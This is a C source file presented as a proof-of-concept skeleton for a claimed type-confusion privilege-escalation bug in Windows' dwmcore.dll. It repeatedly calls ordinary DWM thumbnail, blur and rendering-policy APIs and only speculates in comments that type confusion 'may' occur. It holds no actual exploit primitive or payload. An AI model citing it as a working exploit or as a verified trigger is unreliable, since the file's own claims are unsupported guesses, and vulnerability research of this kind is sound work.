// PoC skeleton for CVE-2026-21519 — dwmcore.dll Type Confusion
// Desktop Windows Manager Elevation of Privilege Vulnerability
// Compile: cl poc_cve_2026_21519.c /Fe:poc_cve_2026_21519.exe

#include <windows.h>
#include <dwmapi.h>
#include <stdio.h>

#pragma comment(lib, "dwmapi.lib")
#pragma comment(lib, "user32.lib")

int main() {
    HWND hwnd;
    
    printf("[*] CVE-2026-21519 PoC skeleton — dwmcore.dll Type Confusion\n");
    printf("[*] Target: Desktop Windows Manager\n\n");

    WNDCLASS wc = {0};
    wc.lpfnWndProc = DefWindowProc;
    wc.hInstance = GetModuleHandle(NULL);
    wc.lpszClassName = "DWMTypeConf_PoC";
    RegisterClass(&wc);

    hwnd = CreateWindowEx(0, "DWMTypeConf_PoC", "PoC", WS_OVERLAPPEDWINDOW,
                          CW_USEDEFAULT, CW_USEDEFAULT, 640, 480,
                          NULL, NULL, GetModuleHandle(NULL), NULL);
    if (!hwnd) {
        printf("[-] CreateWindowEx failed\n");
        return 1;
    }

    printf("[+] Window created: %p\n", (void*)hwnd);
    ShowWindow(hwnd, SW_SHOW);

    // DWM_SETICONIC_LIVE_PREVIEW_BITMAP — exercises internal thumbnail path
    // where type confusion can occur if the bitmap handle type is mismatched
    HBITMAP hbm = CreateBitmap(1, 1, 1, 32, NULL);
    if (hbm) {
        DwmSetIconicLivePreviewBitmap(hwnd, hbm, NULL, 0);
        printf("[+] DwmSetIconicLivePreviewBitmap called\n");
        DeleteObject(hbm);
    }

    // DWM_SETICONIC_THUMBNAIL — another path that may trigger type confusion
    hbm = CreateBitmap(1, 1, 1, 32, NULL);
    if (hbm) {
        DwmSetIconicThumbnail(hwnd, hbm, 0);
        printf("[+] DwmSetIconicThumbnail called\n");
        DeleteObject(hbm);
    }

    // Force DWM re-composition with mismatched state
    printf("[*] Forcing DWM re-composition cycles...\n");
    for (int i = 0; i < 50; i++) {
        DWM_BLURBEHIND bb = {0};
        bb.dwFlags = DWM_BB_ENABLE;
        bb.fEnable = (i % 2 == 0);
        DwmEnableBlurBehindWindow(hwnd, &bb);
        
        // Rapid attribute changes stress the type-checking path
        DwmSetWindowAttribute(hwnd, DWMWA_NCRENDERING_POLICY, 
                              &(const int){DWMNCRP_DISABLED}, sizeof(int));
        DwmSetWindowAttribute(hwnd, DWMWA_NCRENDERING_POLICY, 
                              &(const int){DWMNCRP_ENABLED}, sizeof(int));
    }

    DestroyWindow(hwnd);
    UnregisterClass("DWMTypeConf_PoC", GetModuleHandle(NULL));

    printf("[+] Done. If vulnerable, type confusion may have occurred in dwmcore.dll.\n");
    return 0;
}